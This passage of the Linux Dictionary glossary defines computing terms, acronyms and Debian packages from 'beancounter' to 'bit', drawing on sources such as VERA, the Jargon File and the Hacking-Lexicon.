A stock portfolio performance monitoring tool This package provides beancounter, a tool to quantify gains and losses in stock portfolios, as well as the BeanCounter Perl module that underlies it. Beancounter queries stock prices from Yahoo! Finance server(s) around the globe and stores them in a relational database (using PostgreSQL) so that the data can be used for further analysis. Canned performance reports are available. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Beans

Components for the JavaBeans architecture. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BearOps

BearOps Linux, formerly MaxOS, provides the BearOps Linux Server. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beast

GTK+ Graphical network system to generate sound BEAST/BSE is a plugin-based system where you can link objects to each other and generate sound. This is still an ALPHA version of the upstream. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BEAT

Best Enhanced Advanced Technology (Trident, AT) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beav

Binary Editor And Viewer (beav) beav is an editor for binary files containing arbitrary data. Text file editors, on the other hand, expect the files they edit to contain textual data, and/or to be formatted in a certain way (e.g. lines of printable characters delimited by newline characters). With beav, you can edit a file in HEX, ASCII, EBCDIC, OCTAL, DECIMAL, and BINARY. You can display but not edit data in FLOAT mode. You can search or search and replace in any of these modes. Data can be displayed in BYTE, WORD, or DOUBLE WORD formats. While displaying WORDS or DOUBLE WORDS the data can be displayed in INTEL's or MOTOROLA's byte ordering. Data of any length can be inserted at any point in the file. The source of this data can be the keyboard, another buffer, or a file. Any data that is being displayed can be sent to a printer in the displayed format. Files that are bigger than memory can be handled. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beaver

An Early AdVanced Editor Beaver is a text editor that is lightweight but full of features for programming from web authoring to C programming. It is based on the GTK+ toolkit, supports tons of languages through config files (compatible with UltraEdit 'wordfile.txt') and offers functions such as automatic indentation, correction and completion, or syntax highlighting. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BEB

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beecrypt2

An open source C library of cryptographic algorithms. BeeCrypt is an open source cryptography library that contains highly optimized C and assembler implementations of many well-known algorithms including Blowfish, SHA-1, Diffie-Hellman, and ElGamal. Unlike some other crypto libraries, BeeCrypt is not designed to solve one specific problem, like file encryption, but to be a general purpose toolkit which can be used in a variety of applications. There are also no patent or royalty issues associated with BeeCrypt, and it is released under the GNU LGPL license, which

means it can be used for free in both open source and closed source commercial projects. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Beehive Linux

Beehive Linux is a distribution made by system administrators, for system administrators. Its intent is to provide fast and clean setup of workhorse servers and workstations. Version 0.5.0 was released April 16, 2002. Version 0.6.0 was released September 15, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beep

Advanced pc-speaker beeper beep does what you'd expect: it beeps. But unlike printf "\a" beep allows you to control pitch, duration, and repetitions. Its job is to live inside shell/perl scripts and allow more granularity than one has otherwise. It is controlled completely through command line options. It's not supposed to be complex, and it isn't – but it makes system monitoring (or whatever else it gets hacked into) much more informative. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Behlendorf, Brian

although the Apache web server is largely a community effort, Behlendorf is probably one of its most important developers. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bell-LaPadula Modle (BLM)

An academic model for enforcing access control for government and military. The model is based around the idea of mandator access control. The formal definition from TCSEC is: ...a means of restricting access to objects based on the sensitivity (as represented by a label) of the information contained in the objects and the formal authorization (e.g., clearance) of subjects to access information of such sensitivity In this definition, a "subject" is somebody (user) who wants access to an "object" (information, data file, system). The subject and object have different security levels. Objects (information, data, systems) are assigned security classification levels. A typical example would be: unclassified < confidential < secret < top-secret Subjects are assigned similar clearance levels that allow access to objects of similar level or below. For example, if you are a government employee with "secret" clearance level, you can access everything but "top-secret" information. A classification level such as "top-secret" will also include categories. For example, you may have a "secret" clearance for NATO information, and "top-secret" clearance for all matters pertaining to nuclear weapons. The system follows the principle of least privilege. Therefore, you would not be cleared to access top-secret NATO nuclear plans because your NATO clearance isn't high enough. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BELLCORE

Beowulf

a multi computer architecture which can be used for parallel computations. It is a system which usually consists of one server node, and one or more client nodes connected together via Ethernet or

some other network. It is a system built using commodity hardware components, like any PC capable of running Linux, standard Ethernet adapters, and switches. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Beowulf

A network of relatively inexpensive computers (including PCs), potentially using different processors and hardware architectures, united by Linux and special system-level software into a massively parallel computing system. The end result is a system capable of supercomputer computation at a much lower price. This sort of system is ideal for compute-intensive tasks such as weather modeling, because the calculations can be divided among dozens, hundreds, or even thousands of separate processors all running simultaneously. Sometimes referred to a "Beowulf-class supercomputer", or a super-cluster or hyper-cluster. For more on Beowulf technology, read the following articles: www.linuxworld.com/linuxworld/lw-2000-04/lw-04-parallel.html, and www.ibm.com/press/prnews.nsf/Searchvw/3f4e88b102477aa5852568460067a52a. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Beowulf

Famed was this Beowulf: far flew the boast of him, son of Scyld, in the Scandian lands. So becomes it a youth to quit him well with his father's friends, by fee and gift, that to aid him, aged, in after days, come warriors willing, should war draw nigh, liegemen loyal: by lauded deeds shall an earl have honor in every clan. Beowulf is the earliest surviving epic poem written in English. It is a story about a hero of great strength and courage who defeated a monster called Grendel. See History to find out more about the Beowulf hero. There are probably as many Beowulf definitions as there are people who build or use Beowulf Supercomputer facilities. Some claim that one can call their system Beowulf only if it is built in the same way as the NASA's original machine. Others go to the other extreme and call Beowulf any system of workstations running parallel code. My definition of Beowulf fits somewhere between the two views described above, and is based on many postings to the Beowulf mailing list: Beowulf is a multi computer architecture which can be used for parallel computations. It is a system which usually consists of one server node, and one or more client nodes connected together via Ethernet or some other network. It is a system built using commodity hardware components, like any PC capable of running Linux, standard Ethernet adapters, and switches. It does not contain any custom hardware components and is trivially reproducible. Beowulf also uses commodity software like the Linux operating system, Parallel Virtual Machine (PVM) and Message Passing Interface (MPI). The server node controls the whole cluster and serves files to the client nodes. It is also the cluster's console and gateway to the outside world. Large Beowulf machines might have more than one server node, and possibly other nodes dedicated to particular tasks, for example consoles or monitoring stations. In most cases client nodes in a Beowulf system are dumb, the dumber the better. Nodes are configured and controlled by the server node, and do only what they are told to do. In a disk-less client configuration, client nodes don't even know their IP address or name until the server tells them what it is. One of the main differences between Beowulf and a Cluster of Workstations (COW) is the fact that Beowulf behaves more like a single machine rather than many workstations. In most cases client nodes do not have keyboards or monitors, and are accessed only via remote login or possibly serial terminal. Beowulf nodes can be thought of as a CPU + memory package which can be plugged in to the cluster, just like a CPU or memory module can be plugged into a motherboard. Beowulf is not a special software package, new network topology or the latest kernel hack. Beowulf is a technology of clustering Linux computers to form a parallel, virtual supercomputer. Although there are many software packages such as kernel modifications, PVM and MPI libraries, and configuration tools which make the Beowulf architecture faster, easier to configure, and much more usable, one can build a Beowulf class machine using standard Linux distribution without any additional software. If you have two networked Linux computers which share at least the /home file system via NFS, and trust each other to execute remote shells (rsh), then it could be argued that you have a simple, two node Beowulf machine. Business Executive System for Timesharing (OS, Qantel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beta

/bay't*/, /be't*/ or (Commonwealth) /bee't*/ n. 1. Mostly working, but still under test; usu. used with `in': `in beta'. In the Real World, systems (hardware or software) software often go through two stages of release testing: Alpha (in-house) and Beta (out-house?). Beta releases are generally made to a group of lucky (or unlucky) trusted customers. 2. Anything that is new and experimental. "His girlfriend is in beta" means that he is still testing for compatibility and reserving judgment. 3. Flaky; dubious; suspect (since beta software is notoriously buggy). Historical note: More formally, to beta-test is to test a pre-release (potentially unreliable) version of a piece of software by making it available to selected (or self-selected) customers and users. This term derives from early 1960s terminology for product cycle checkpoints, first used at IBM but later standard throughout the industry. `Alpha Test' was the unit, module, or component test phase; `Beta Test' was initial system test. These themselves came from earlier A- and B-tests for hardware. The A-test was a feasibility and manufacturability evaluation done before any commitment to design and development. The B-test was a demonstration that the engineering model functioned as specified. The C-test (corresponding to today's beta) was the B-test performed on early samples of the production design, and the D test was the C test repeated after the model had been in production a while. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

beta software

Development copies that are released prior to the full version. They are released to aid debugging of the software and to obtain real world reports of its operation. An expiry date is often built into the software. See alpha software. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BF

Bus Fraction [pin] (Intel, Pentium, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bfbtester

Brute Force Binary Tester BFBTester is great for doing quick, proactive, security checks of binary programs. BFBTester will perform checks of single and multiple argument command line overflows as well as environment variable overflows. BFBTester can also watch for tempfile creation activity to alert the user of any programs using unsafe tempfile names. While BFBTester can not test all overflows in software, it is useful for detecting initial mistakes that can red flag dangerous software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BFD

Binary File Descriptor (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bye For Now (slang, IRC, Usenet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BFOC

Bayonet Fiber Optic Connector From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bfr

nonblocking 8-bit-clean pipe buffer bfr's purpose is to buffer data. It buffers from its standard input and/or a list of files of your choosing, and allows this data to flow to its standard output at whatever rate that end can handle. It's useful for any situation in which its beneficial to have I/O occur in a detached yet smooth fashion. Also contained is bfp, a buffering /dev/dsp writer. Pipe your raw PCM data to it, for skip-free bliss. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BFT

Binary File Transfer (DFUe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bg5cc

Big-5 wide-characters rectifier Bg5cc converts `\' in Big-5 wide-characters that appear in source programs to `\\'. This ensures programs that contain Big-5 characters can be compiled correctly. Bg5cc should have little use to end-users. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bg5ps

A utility to print Chinese Big5/GB documents using TrueType fonts Bg5ps is a utility to output a Postscript file from a Chinese Big5 or GB2312 encoded document by using TrueType fonts. Postscript files produced by Netscape and mpage that contain Big5 or GB2312 characters can be filtered by bg5ps so that the Chinese characters within can be printed correctly. If you want to use the configuration tool 'bg5psconf', make sure you have the package python-gtk installed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BGA

Ball Grid Array (CPU, IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BGI

Borland Graphics Interface (Borland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BGP

Border Gateway Protocol (RFC 1267/1771, IP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

B

BGP (Border Gateway Protocol)

On the Internet, BGP is used between ISPs in order to communicate routers. For example, imagine that the ALICE ISP needs to reach the BOB ISP. However, ALICE is not directly connected to BOB. ALICE therefore must figure out which ISP should be used to send traffic to BOB. It is through the use of BGP that such information is discovered. The name "border" comes from the fact that ISPs use BGP only on their borders (in contrast, they would use some other protocol (like OSPF) inside their networks). Key point: BGP can be subverted in many ways. BGP is generally unauthenticated, and rogue ISPs can play havoc. From Hacking–Lexicon

BIB

Bus Interface Board From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibindex

Fast lookup in BibTeX bibliography data bases bibindex converts a .bib file to a .bix file, which is a compact binary representation of the .bib file containing hash tables for fast lookup, as well as byte offset positions into the corresponding .bib file. biblook provides an interactive lookup facility using the .bix and .bib files. It verifies that the file version number and bibindex version number match its own values, and also compares the file time stamps so that it can detect whether the .bix file is out-of-date with respect to the .bib file. In either case, execution terminates. This Debian package features a command line history mechanism through the GNU readline library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibletime

A bible study tool for KDE BibleTime 1.1 is a free and easy to use bible study tool for UNIX systems. It requires a working KDE2 environment and SWORD 1.5.3 or later. BibleTime provides easy handling of digitized texts (Bibles, commentaries and lexicons) and powerful features to work with these texts (search in texts, write own notes, save, print etc.). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibtex

make a bibliography for (La)TeX From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibtex2html

BibTeX to HTML translator and BibTeX filter tool Collection of tools for filtering BibTeX data bases and for producing HTML documents from BibTeX data bases: – aux2bib extracts a BibTeX database consisting of only the entries that are refereed by an aux file. – bib2bib is a filter tool that reads one or several bibliography files, filters the entries with respect to a given criterion, and outputs the list of selected keys together with a new bibliography file containing only the selected entries; – bibtex2html is a translator that reads a bibliography file and outputs two HTML documents that are respectively the cited bibliography in a nice presentation, and the original BibTeX file augmented with several transparent HTML links to allow easy navigation. See the bibtex2html homepage <http://www.lri.fr/~filliatr/bibtex2html/index.en.html>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibtool

A tool for manipulating BibTeX data bases. BibTeX provides an easy to use means to integrate citations and bibliographies into LaTeX documents. But the user is left alone with the management of the BibTeX files. The program BibTool is intended to fill this gap. BibTool allows the manipulation of BibTeX files which goes beyond the possibilities -- and intentions -- of BibTeX. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bibview

X11 Bibliography database tool bibview is a tool to let you set up and maintain BibTeX bibliography databases. LaTeX can then use these automatically in citations and bibliographies in your documents. From its README: It [bibview] supports the user in making new entries, searching for entries and moving entries from one BiB to another. It is possible to work with more than one BiB simultaneously. bibview is implemented with Xt and Athena Widgets. There are six types of windows in bibview: The main window contains menus for customizing bibview and for working with BiBs on the file level. The bibliography window (one for every open BiB) contains commands for manipulating the BiB. The list window (at most one for every open BiB) shows a list of entries. It displays the fields author, title, type and year. The card window (at most one for every entry) helps editing an entry. It contains boxes for each field of the entry (according to the type). The fields can be edited by putting the mouse cursor into the field. Macros in fields and the symbol for concatenation ('#') are marked with a preceding '@'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIC

Bit Independence Criterion (cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIC

Bus Interface Chip (DVR) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BICI

Broadband InterCarrier Interface (B-ISDN), "B-ICI" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

identd

Bisqwit's identd Bisqwit's identd is an Identification Protocol (RFC 1413) daemon. It works like an ident daemon is supposed to work. Masquerading is supported, and works recursively. Works only under Linux, due to the use of /proc filesystem. A typical case for using Bisqwit's identd: – Alpha has the internet connection. It has an ip in internet. – Beta is masqueraded by Alpha. – Gamma is masqueraded by Beta. – Somebody in Gamma starts irc, and the irc server (in internet) gets the username of the user in Gamma, correctly. All of these computers would be running identd (from inetd), although Gamma could have any ident daemon, as it does not masquerade further. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIDI

BIDirectional From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIDS

Borland International Data Structures (Borland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bidwatcher

Tool for watching and bidding on eBay auctions Bidwatcher is a tool for eBay users (eBay is a giant internet auction site). It is a stand alone application that can track auctions and perform automated bids. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

biew

console hex viewer/editor with disassembler BIEW (Binary vIEW) is a free, portable, advanced file viewer with built-in editor for binary, hexadecimal and disassembler modes. It contains a highlight PentiumIII/K7 Athlon/Cyrix-M2 disassembler, full preview of MZ, NE, PE, LE, LX, DOS.SYS, NLM, ELF, a.out, arch, coff32, PharLap, rdoff executable formats, a code guider, and lot of other features, making it invaluable for examining binary code. DOS, Win32, OS/2, Linux, BeOS, Unix versions are available. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIF

Benchmark Interchange Format (PLB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIF

Built In Function (REXX) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

biff

a mail notification tool biff is a small little program that tells you when you get mail. Most standard .bashrc files include 'biff y' at the start to enable notification. The included biff server is notified whenever new mail arrives. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

biff /bif/ vt.

To notify someone of incoming mail. From the BSD utility biff(1), which was in turn named after a friendly dog who used to chase frisbees in the halls at UCB while 4.2BSD was in development. There was a legend that it had a habit of barking whenever the mailman came, but the author of biff says this is not true. No relation to BIFF. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bifrost

The Bifrost Network Project aims to find stability, performance, filter capabilities, administration, computer security, scalability and development possibilities of a Linux based streamlined router/firewall system. The hardware is basically a standard PC with two (or more) network interfaces (using preferably the Intel Tulip chip or an e1000 Gigabit card) and a 45 or 48 MB flash disk. The operating system is a modified, minimal and optimized Linux distribution, with the kernel configured for firewalling and routing. The filter which controls the firewall security policy, is part of the kernel code and can be configured via ipfwadm, ipchains or iptables. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIG

Bionet Intelligent Gateway (BioData) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

big-endian

It describes the order in which bytes of a word are processed. Many RISC computers and 68000 processors use big-endian representations where the high-order byte is stored at the lower address. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIGFON

Breitbandiges Integriertes Glasfaser-Fernmelde-OrtsNetz From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bigloo

A practical Scheme compiler Bigloo is a Scheme system which includes a compiler generating C code and an interpreter. Bigloo is conformant to IEEE Scheme and is mostly conformant to Revised⁵ Report on the Algorithmic Language Scheme with many extensions: – Rgc, a lex facility. – Match, a pattern-matching compiler. – Foreign languages interface. – Module language. – Extension package system. – An LALR facility. – An Object system. – DSSSL support. – Unicode characters and strings. – Process, Pipe and Socket support. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIKOS

BueroInformations- und KOMmunikationsSysteme (org., GI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

billard-gl

A billard game using OpenGL Play a game of billard against the computer or a friend. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIM

Broadband Interface Module From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIMA

British Interactive Multimedia Association (org., UK) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bin86

16-bit assembler and loader This is the as86 and ld86 distribution written by Bruce Evans. It's a complete 8086 assembler and loader which can make 32-bit code for the 386+ processors (under Linux it's used only to create the 16-bit boot sector and setup binaries). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Binaries

Source code that has been compiled into executable programs. In the UNIX/Linux world, some software is distributed as source code only; other packages include both source and binaries; still others are distributed only in binary format. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binary

A code system that uses 2 as its base and 0s and 1s for its notation. Binary code is used by computers as it functions well with digital electronics and Boolean algebra. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Binary

Information consisting entirely of ones and zeros. Also, commonly used to refer to files that are not simply text files, e.g. images. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binary file

a file that contains codes which are not part of the ASCII character set. A binary file can contain any type of information that can be represented by an 8 bit byte – a possible 256 values. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIND

Berkeley Internet Name DOMAIN [software] (Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bind

BIND (Berkeley Internet Name Domain) is an implementation of the DNS(Domain Name System) protocols. BIND includes a DNS server (named), which resolves host names to IP addresses; a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating properly. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bind

Internet Domain Name Server The Berkeley Internet Name Domain (BIND) implements an Internet domain name server. BIND is the most widely-used name server software on the Internet, and is supported by the Internet Software Consortium, www.isc.org. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIND

See Berkeley Internet Name Domain (BIND). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIND (Berkeley Internet Name Daemon)

BIND is the most popular software on the Internet for providing DNS services. Your ISP is likely running BIND. BIND is open-source. Key point: BIND provides about 80% of all DNS services. It is also enabled by default on a lot of Linux distributions. As a result, any exploit discovered for BIND has immediate and large impact on the Internet. As of November, 1999, all versions of BIND previous to 8.2.2-P5/4.9.7 have known holes that can be exploited. It is likely that these newer versions also have undiscovered exploitable holes as well. Key point: BIND comes in two versions, 4.x and 8.x. This is largely due to backwards compatibility: people are running a lot of older servers and would rather patch them than upgrade to a newer version. Also, the newer 8.x code-base has not been extensively peer-reviewed and is thought to be a lot less secure than the 4.x source base.

UPDATE: BIND v9 is now available, though most users are sticking with v8. See also: dig, DNS.

From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binfmt-support

Support for extra binary formats The `binfmt_misc` kernel module, contained in versions 2.1.43 and later of the Linux kernel, allows system administrators to register interpreters for various binary formats based on a magic number or their file extension, and cause the appropriate interpreter to be invoked whenever a matching file is executed. Think of it as a more flexible version of the `#!` executable interpreter mechanism. This package provides an 'update-binfmts' script with which package maintainers can register interpreters to be used with this module without having to worry about writing their own `init.d` scripts, and which sysadmins can use for a slightly higher-level interface to this module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bing

Empirical stochastic bandwidth tester Bing is a point-to-point bandwidth measurement tool (hence the 'b'), based on ping. Bing determines the real (raw, as opposed to available or average) throughput on a link by measuring ICMP echo requests' round trip times for different packet sizes at each end of the link. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Binhex (BINary HEXadecimal)

A method for converting non-text files (non-ASCII) into ASCII. This is needed because Internet e-mail can only handle ASCII. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binkd

FidoTech TCP/IP mailer Binkd is a FidoTech mailer designed for use over TCP/IP. This program is NOT an internet mail transfer agent. If you don't know what it is, you don't need it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binstats

Statistics tool for installed programs A utility to aid the tidying up of binaries, interpreted scripts, and dynamic libraries. It can find the number and identity of `a.out` and ELF binaries, plus their debugging symbols status, `setuid` status, and dynamic library dependence. It can count the number of Java bytecode programs, tally up the main types of scripts, and look for unidentified executable text files.

Also it is able to find any duplicated executable names, unused libraries, binaries with missing libraries, statically linked binaries, and duplicated manual page names. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binutils

Binutils is a collection of binary utilities, including ar (for creating, modifying and extracting from archives), as (a family of GNU assemblers), gprof (for displaying call graph profile data), ld (the GNU linker), nm (for listing symbols from object files), objcopy (for copying and translating object files), objdump (for displaying information from object files), ranlib (for generating an index for the contents of an archive), size (for listing the section sizes of an object or archive file), strings (for listing printable strings from files), strip (for discarding symbols), and addr2line (for converting addresses to file and line). From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

binutils

The GNU assembler, linker and binary utilities. The programs in this package are used to assemble, link and manipulate binary and object files. They may be used in conjunction with a compiler and various libraries to build programs for Linux. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

biomode

[Biology] An Emacs mode to edit genetic data biomode provides you several interesting commands to take the antiparallel of a region, convert it using readseq, runs blast on it, etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bioperl

[Biology] Perl tools for computational molecular biology The Bioperl project is a coordinated effort to collect computational methods routinely used in bioinformatics into a set of standard CPAN-style, well-documented, and freely available Perl modules. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIOS

Basic Input Output System / Support (PC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIOS

Basic Input/Output System: services on a ROM chip that enable the hardware and software of a computer to communicate with each other. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIOS

see Basic Input Output System (BIOS). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIP

Bit Interleaved Parity (SONET, ...) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIPV

Bit Interleaved Parity Violation From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIRA

Belgian Institute for Automatic Control (org., Belgium) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bird

Internet Routing Daemon Supports OSPF, RIPv2 (No v1), BGP both IPv4 and IPv6 and redistribution between the protocols with a powerful configuration syntax. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

birthday

Display information about pending events on login Given a list of the dates of various different events, works out and displays a list of those which will come up in the next couple of weeks. This was originally designed for birthdays, but can equally be used for reminders about yearly events, or for a running diary. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIS

Business Information System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BISDN

Broadband Integrated Services Digital Network (ATM), "B-ISDN" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bison

A parser generator that is compatible with YACC. Bison is a general-purpose parser generator that converts a grammar description for an LALR(1) context-free grammar into a C program to parse that grammar. Once you are proficient with Bison, you may use it to develop a wide range of language parsers, from those used in simple desk calculators to complex programming languages. Bison is upward compatible with Yacc: all properly-written Yacc grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with little trouble. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bison

Bison is a general purpose parser generator that converts a grammar description for an LALR(1) context-free grammar into a C program to parse that grammar. Bison can be used to develop a wide range of language parsers, from ones used in simple desk calculators to complex programming languages. Bison is upwardly compatible with Yacc, so any correctly written Yacc grammar should work with Bison without any changes. If you know Yacc, you should not have any trouble using Bison. You do need to be proficient in C programming to be able to use Bison. Bison is only needed on systems that are used for development. If your system will be used for C development, you should install Bison. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BISP

Business Information System Program From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BISSI

Broadband Inter-Switching System Interface (B-ISDN), "B-ISSI" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BISUP

Broadband ISDN User's Part (B-ISDN), "B-ISUP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BISYNC

Binary SYNchronous Communications (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIT

Basic Interconnection Test (ISO 9646-1) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BIT

Binary digIT From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bit

n. [from the mainstream meaning and `Binary digIT'] 1. [techspeak] The unit of information; the amount of information obtained by asking a yes-or-no question for which the two outcomes are equally probable. 2. [techspeak] A computational quantity that can take on one of two values, such as true and false or 0 and 1. 3. A mental flag: a reminder that something should be done eventually. "I have a bit set for you." (I haven't seen you for a while, and I'm supposed to tell or ask you something.) 4. More generally, a (possibly incorrect) mental state of belief. "I have a bit set that says that you were the last guy to hack on EMACS." (Meaning "I think you were the last guy to hack on EMACS, and what I am about to say is predicated on this, so please stop me if this isn't true.") "I just need one bit from you" is a polite way of indicating that you intend only a short interruption for a question that can presumably be answered yes or no. A bit is said to be `set' if its value is true or 1, and `reset' or `clear'

if its value is false or 0. One speaks of setting and clearing bits. To toggle or `invert' a bit is to change it, either from 0 to 1 or from 1 to 0. See also flag, trit, mode bit. The term `bit' first appeared in print in the computer-science sense in a 1948 paper by information theorist Claude Shannon, and was there credited to the early computer scientist John Tukey (who also seems to have coined the term `software'). Tukey records that `bit' evolved over a lunch table as a handier alternative to `bigit' or `binit', at a conference in the winter of 1943-44. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bit

Short for binary digit. The smallest unit of information a computer can read and manipulate. The value of a bit is 1 or 0. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bit (Binary DigIT)

A single digit number in base-2, in other words, either a 1 or a zero. The smallest unit of computerized data. Bandwidth usually measured in bits-per-second. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bit bang

